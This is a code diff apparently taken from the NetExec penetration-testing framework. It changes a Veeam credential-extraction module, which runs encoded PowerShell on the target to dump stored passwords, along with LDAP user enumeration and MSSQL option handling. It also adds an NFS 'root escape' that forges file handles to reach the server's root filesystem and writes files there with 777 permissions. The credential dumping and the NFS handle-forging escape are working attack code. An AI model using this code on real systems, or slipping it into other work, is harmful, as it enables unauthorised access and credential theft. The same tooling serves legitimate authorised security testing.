self.logger.exception(e)
self.logger.fail("Got a session error while spidering.")
self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}")
self.reconnect()
except Exception as e:
@@ -374,7 +373,7 @@ class SMBSpiderPlus:
def dump_folder_metadata(self, results):
"""Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`.
The results are formatted with indentation and sorted keys before being written to the file.
"""
metadata_path = join(self.output_folder, f"{self.host}.json")
@@ -486,7 +485,7 @@ class NXCModule:
EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk)
EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$)
MAX_FILE_SIZE Max file size to download (Default: 51200)
OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus)
OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus)
"""
self.download_flag = False
if any("DOWNLOAD" in key for key in module_options):
@@ -499,7 +498,7 @@ class NXCModule:
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus")))
def on_login(self, context, connection):
context.log.display("Started module spidering_plus with the following options:")
+35 -13
View File
@@ -40,6 +40,9 @@ class NXCModule:
PostgresUserForWindowsAuth = ""
SqlDatabaseName = ""
# Salt for newer Veeam versions
salt = ""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
@@ -72,6 +75,8 @@ class NXCModule:
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
salt = self.get_salt(context, remoteOps, regHandle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Veeam v12 installation found")
@@ -107,28 +112,38 @@ class NXCModule:
# Check if we found an SQL Server of some kind
if SqlDatabase and SqlInstance and SqlServer:
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
self.printCreds(context, credentials)
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
self.printCreds(context, credentials)
def stripXmlOutput(self, context, output):
return output.split("CLIXML")[1].split("<Objs Version")[0]
def get_salt(self, context, remoteOps, regHandle):
try:
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Salt found")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
@@ -136,7 +151,7 @@ class NXCModule:
def printCreds(self, context, output):
# Format output if returned in some XML Format
if "CLIXML" in output:
output = self.stripXmlOutput(context, output)
output = output.split("CLIXML")[1].split("<Objs Version")[0]
if "Access denied" in output:
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
@@ -152,13 +167,20 @@ class NXCModule:
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
try:
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
for account in output_stripped:
user, password = account.split(" ", 1)
password = password.strip().replace("WHITESPACE_ERROR", " ")
user = user.strip()
context.log.highlight(f"{user}:{password}")
if " " in password:
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
# Remove multiple whitespaces
account = " ".join(account.split())
try:
user, password, description = account.split(" ", 2)
except ValueError:
user, password = account.split(" ", 1)
description = ""
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
context.log.highlight(f"{user:<40} {password:<40} {description}")
except ValueError:
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
context.log.fail("Please report this issue on GitHub!")
+35 -87
View File
@@ -3,8 +3,9 @@
import hashlib
import hmac
import os
from errno import EHOSTUNREACH
from binascii import hexlify
from datetime import datetime, timedelta
from datetime import datetime
from re import sub, I
from zipfile import ZipFile
from termcolor import colored
@@ -209,7 +210,11 @@ class ldap(connection):
self.logger.debug(f"{e} on host {self.host}")
return False
except OSError as e:
self.logger.error(f"Error getting ldap info {e}")
if e.errno == EHOSTUNREACH:
self.logger.info(f"Error connecting to {self.host} - {e}")
return False
else:
self.logger.error(f"Error getting ldap info {e}")
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
self.target = target
@@ -573,7 +578,7 @@ class ldap(connection):
attributes = ["objectSid"]
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "":
for attribute in resp[0][1]:
if str(attribute["type"]) == "objectSid":
sid = self.sid_to_str(attribute["vals"][0])
@@ -651,38 +656,25 @@ class ldap(connection):
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
else:
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
search_filter = "(sAMAccountType=805306368)"
# default to these attributes to mirror the SMB --users functionality
# Default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
if resp:
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
if self.username == "":
self.logger.display(f"Total records returned: {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.highlight(f"{item['objectName']}")
return
resp_parse = parse_result_attributes(resp)
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
parsed_pw_last_set = ""
# We print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
for user in resp_parse:
pwd_last_set = user.get("pwdLastSet", "")
if pwd_last_set != "":
timestamp_seconds = int(pwd_last_set) / 10**7
start_date = datetime(1601, 1, 1)
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
if parsed_pw_last_set == "1601-01-01 00:00:00":
parsed_pw_last_set = "<never>"
# we default attributes to blank strings if they don't exist in the dict
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
if pwd_last_set:
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
# We default attributes to blank strings if they don't exist in the dict
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}")
def groups(self):
# Building the search filter
@@ -730,7 +722,7 @@ class ldap(connection):
for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]:
if found_record:
break # If a record has been found, stop checking further
try:
answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp)
for rdata in answers:
@@ -763,73 +755,29 @@ class ldap(connection):
def active_users(self):
if len(self.args.active_users) > 0:
arg = True
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
else:
arg = False
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
search_filter = "(sAMAccountType=805306368)"
# default to these attributes to mirror the SMB --users functionality
# Default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
allusers = parse_result_attributes(resp)
count = 0
activeusers = []
argsusers = []
if resp:
all_users = parse_result_attributes(resp)
# Filter disabled users (ignore accounts without userAccountControl value)
active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)]
if arg:
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
users_args = parse_result_attributes(resp_args)
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
for i in range(len(self.args.active_users)):
try:
argsusers.append(users_args[i])
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {e}")
else:
argsusers = allusers
self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
for user in allusers:
user_account_control = user.get("userAccountControl")
if user_account_control is not None: # Check if user_account_control is not None
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
account_disabled = int(account_control) & 2
if not account_disabled:
count += 1
activeusers.append(user.get("sAMAccountName").lower())
else:
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
if self.username == "":
self.logger.display(f"Total records returned: {len(resp):d}")
for item in resp_args:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.highlight(f"{item['objectName']}")
return
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for arguser in argsusers:
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
if pwd_last_set: # Checks if pwdLastSet is empty or not.
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
start_date = datetime(1601, 1, 1)
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
if parsed_pw_last_set == "1601-01-01 00:00:00":
parsed_pw_last_set = "<never>"
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
elif (arguser.get("sAMAccountName").lower() in activeusers):
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
for user in active_users:
pwd_last_set = user.get("pwdLastSet", "")
if pwd_last_set:
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}")
def asreproast(self):
if self.password == "" and self.nthash == "" and self.kerberos is False:
+1 -1
View File
@@ -48,7 +48,7 @@ class MSSQLEXEC:
def backup_and_enable(self, option):
try:
self.backuped_options[option] = self.is_option_enabled("show advanced options")
self.backuped_options[option] = self.is_option_enabled(option)
if not self.backuped_options[option]:
self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.")
query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;"
+368 -35
View File
@@ -1,13 +1,75 @@
from termcolor import colored
from nxc.connection import connection
from nxc.logger import NXCAdapter
from nxc.helpers.logger import highlight
from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3
from nxc.config import host_info_colors
from pyNfsClient import (
Portmap,
Mount,
NFSv3,
)
from pyNfsClient.const import (
NFS_PROGRAM,
NFS_V3,
ACCESS3_READ,
ACCESS3_MODIFY,
ACCESS3_EXECUTE,
NFSSTAT3,
NFS3ERR_NOENT,
NF3REG,
)
import re
import uuid
import math
import os
class FileID:
root = "root"
ext = "ext/xfs"
btrfs = "btrfs"
udf = "udf"
nilfs = "nilfs"
fat = "fat"
lustre = "lustre"
kernfs = "kernfs"
invalid = "invalid"
unknown = "unknown"
# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
fileid_types = {
0: FileID.root,
1: FileID.ext,
2: FileID.ext,
0x81: FileID.ext,
0x4d: FileID.btrfs,
0x4e: FileID.btrfs,
0x4f: FileID.btrfs,
0x51: FileID.udf,
0x52: FileID.udf,
0x61: FileID.nilfs,
0x62: FileID.nilfs,
0x71: FileID.fat,
0x72: FileID.fat,
0x97: FileID.lustre,
0xfe: FileID.kernfs,
0xff: FileID.invalid
}
# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45
fsid_lens = {
0: 8,
1: 4,
2: 12,
3: 8,
4: 8,
5: 8,
6: 16,
7: 24,
}
class nfs(connection):
def __init__(self, args, db, host):
self.protocol = "nfs"
@@ -22,6 +84,10 @@ class nfs(connection):
"gid": 0,
"aux_gid": [],
}
self.root_escape = False
# If root escape is possible, the escape_share and escape_fh will be populated
self.escape_share = None
self.escape_fh = b""
connection.__init__(self, args, db, host)
def proto_logger(self):
@@ -50,7 +116,7 @@ class nfs(connection):
self.port = self.mnt_port
self.proto_logger()
except Exception as e:
self.logger.fail(f"Error during Initialization: {e}")
self.logger.info(f"Error during Initialization: {e}")
return False
return True
@@ -63,12 +129,20 @@ class nfs(connection):
for program in programs:
if program["program"] == NFS_PROGRAM:
self.nfs_versions.add(program["version"])
return self.nfs_versions
except Exception as e:
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Check if root escape is possible
self.root_escape = self.try_root_escape()
self.nfs3.disconnect()
def print_host_info(self):
self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})")
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})")
def disconnect(self):
"""Disconnect mount and portmap if they are connected"""
@@ -274,17 +348,38 @@ class nfs(connection):
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share
mnt_info = self.mount.mnt(remote_dir_path, self.auth)
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Update the UID for the file
attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
dir_handle = mnt_info["mountinfo"]["fhandle"]
# Iterate over the path until we hit the file
curr_fh = mount_fh
for sub_path in remote_file_path.lstrip("/").split("/"):
# Update the UID for the next object and get the handle
self.update_auth(mount_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
# Get the file handle and file size
dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
file_handle = dir_data["resok"]["object"]["data"]
# Check for a bad path
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Unknown path: {remote_file_path!r}")
return
curr_fh = res["resok"]["object"]["data"]
# If response is file then break
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
break
# Update the UID and GID for the file
self.update_auth(curr_fh)
# Handle files over the default chunk size of 1024 * 1024
offset = 0
@@ -293,7 +388,7 @@ class nfs(connection):
# Loop until we have read the entire file
with open(local_file_path, "wb+") as local_file:
while not eof:
file_data = self.nfs3.read(file_handle, offset, auth=self.auth)
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
if "resfail" in file_data:
raise Exception("Insufficient Permissions")
@@ -308,7 +403,7 @@ class nfs(connection):
# Write the file data to the local file
local_file.write(data)
self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}")
self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}")
# Unmount the share
self.mount.umnt(self.auth)
@@ -321,18 +416,13 @@ class nfs(connection):
"""Uploads a file to the NFS share"""
local_file_path = self.args.put_file[0]
remote_file_path = self.args.put_file[1]
file_name = ""
remote_dir_path, file_name = os.path.split(remote_file_path)
# Check if local file is exist
if not os.path.isfile(local_file_path):
self.logger.fail(f"{local_file_path} does not exist.")
return
# Do a bit of smart handling for the file paths
file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path
if not remote_file_path.endswith("/"):
remote_file_path += "/"
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
try:
# Connect to NFS
@@ -340,26 +430,55 @@ class nfs(connection):
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share to create the file
mnt_info = self.mount.mnt(remote_file_path, self.auth)
dir_handle = mnt_info["mountinfo"]["fhandle"]
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Update the UID from the directory
attrs = self.nfs3.getattr(dir_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
# Iterate over the path
curr_fh = mount_fh
# If target dir is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))):
self.update_auth(mount_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
# If the path does not exist, create it
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.display(f"Creating directory '/{sub_path}/'")
res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth)
if res["status"] != 0:
self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}")
return
else:
curr_fh = res["resok"]["obj"]["handle"]["data"]
continue
curr_fh = res["resok"]["object"]["data"]
# Update the UID and GID from the directory
self.update_auth(curr_fh)
# Checking if file_name already exists on remote file path
lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
if lookup_response["resok"] is None:
# Create file
self.logger.display(f"Trying to create {remote_file_path}{file_name}")
res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth)
res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth)
if res["status"] != 0:
raise Exception(NFSSTAT3[res["status"]])
else:
file_handle = res["resok"]["obj"]["handle"]["data"]
self.update_auth(file_handle)
self.logger.success(f"{file_name} successfully created")
else:
# Asking the user if they want to overwrite the file
@@ -367,18 +486,22 @@ class nfs(connection):
if ans.lower() in ["y", "yes", ""]:
self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...")
file_handle = lookup_response["resok"]["object"]["data"]
else:
self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}")
return
# Update the UID and GID for the file
self.update_auth(file_handle)
try:
with open(local_file_path, "rb") as file:
file_data = file.read().decode()
# Write the data to the remote file
self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}")
self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}")
self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}")
res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
if res["status"] != 0:
self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}")
return
else:
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777")
except Exception as e:
self.logger.fail(f"Could not write to {local_file_path}: {e}")
@@ -389,6 +512,216 @@ class nfs(connection):
else:
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
def get_root_handles(self, mount_fh):
"""
Get possible root handles to escape to the root filesystem
Sources:
https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62
https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py
Usually:
- 1 byte: 0x01 fb_version
- 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel
- 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved
- 1 byte: 0xXX fb_fileid_type -> determines the filesystem type
"""
# First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3])
# See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth))
filesystem = FileID.unknown
for entry in dir_data:
# Check if "." is already the root directory
if entry["name"] == b".":
if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]:
self.logger.debug("Exported share is already the root directory")
return [entry["name_handle"]["handle"]["data"]]
elif entry["name"] == b"..":
continue
else:
try:
fid_type = entry["name_handle"]["handle"]["data"][3]
if fid_type in fileid_types:
filesystem = fileid_types[fid_type]
self.logger.debug(f"Found filesystem type: {filesystem}")
break
except Exception as e:
self.logger.debug(f"Error on getting filesystem type: {e}")
continue
self.logger.debug(f"Filesystem type: {filesystem}")
# Generate the root handle depending on the filesystem type and preserve the file_id (respect the length)
fh_fsid_type = mount_fh[2]
fh_fsid_len = fsid_lens[fh_fsid_type]
root_handles = []
# Generate possible root handles
# General syntax: 4 byte header + fsid + fileid
# Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
fh = bytearray(mount_fh)
if filesystem in [FileID.ext, FileID.unknown]:
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226
if filesystem in [FileID.btrfs, FileID.unknown]:
# Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
for i in range(16):
subvolume = int.to_bytes(i) + b"\x01\x00\x00"
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226
return root_handles
def try_root_escape(self) -> bool:
"""
With an established connection look for a share that can be escaped to the root filesystem.
If successfull, self.escape_share and self.escape_fh will be populated.
Returns
-------
bool: True if root escape was successful
"""
if not self.nfs3:
raise Exception("NFS connection is not established")
output_export = str(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
shares = list(reg.findall(output_export))
self.logger.debug(f"Trying root escape on shares: {shares}")
for share in shares:
mount_info = self.mount.mnt(share, self.auth)
if mount_info["status"] != 0:
self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}")
self.mount.umnt(self.auth)
continue
mount_fh = mount_info["mountinfo"]["fhandle"]
try:
possible_root_fhs = self.get_root_handles(mount_fh)
for fh in possible_root_fhs:
if "resfail" not in self.nfs3.readdir(fh, auth=self.auth):
self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}")
self.escape_share = share
self.escape_fh = fh
self.mount.umnt(self.auth)
return True
except Exception as e:
self.logger.debug(f"Error trying root escape on share '{share}': {e}")
self.mount.umnt(self.auth)
return False
def ls(self):
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Remove leading or trailing slashes
self.args.ls = self.args.ls.lstrip("/").rstrip("/")
# NORMAL LS CALL (without root escape)
if self.args.share:
mount_info = self.mount.mnt(self.args.share, self.auth)
mount_fh = mount_info["mountinfo"]["fhandle"]
elif self.root_escape:
# Interestingly we don't actually have to mount the share if we already got the handle
self.logger.success(f"Successful escape on share: {self.escape_share}")
mount_fh = self.escape_fh
else:
self.logger.fail("No root escape possible, please specify a share")
return
# Update UID and GID for the share
self.update_auth(mount_fh)
# We got a path to look up
curr_fh = mount_fh
is_file = False # If the last path is a file
# If ls is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, self.args.ls.split("/"))):
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Unknown path: {self.args.ls!r}")
return
# If file then break and only display file
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
is_file = True
break
curr_fh = res["resok"]["object"]["data"]
# Update the UID and GID for the file/dir
self.update_auth(curr_fh)
dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth)
if dir_listing["status"] != 0:
self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}")
return
content = self.format_directory(dir_listing)
# Sometimes the NFS Server does not return the attributes for the files
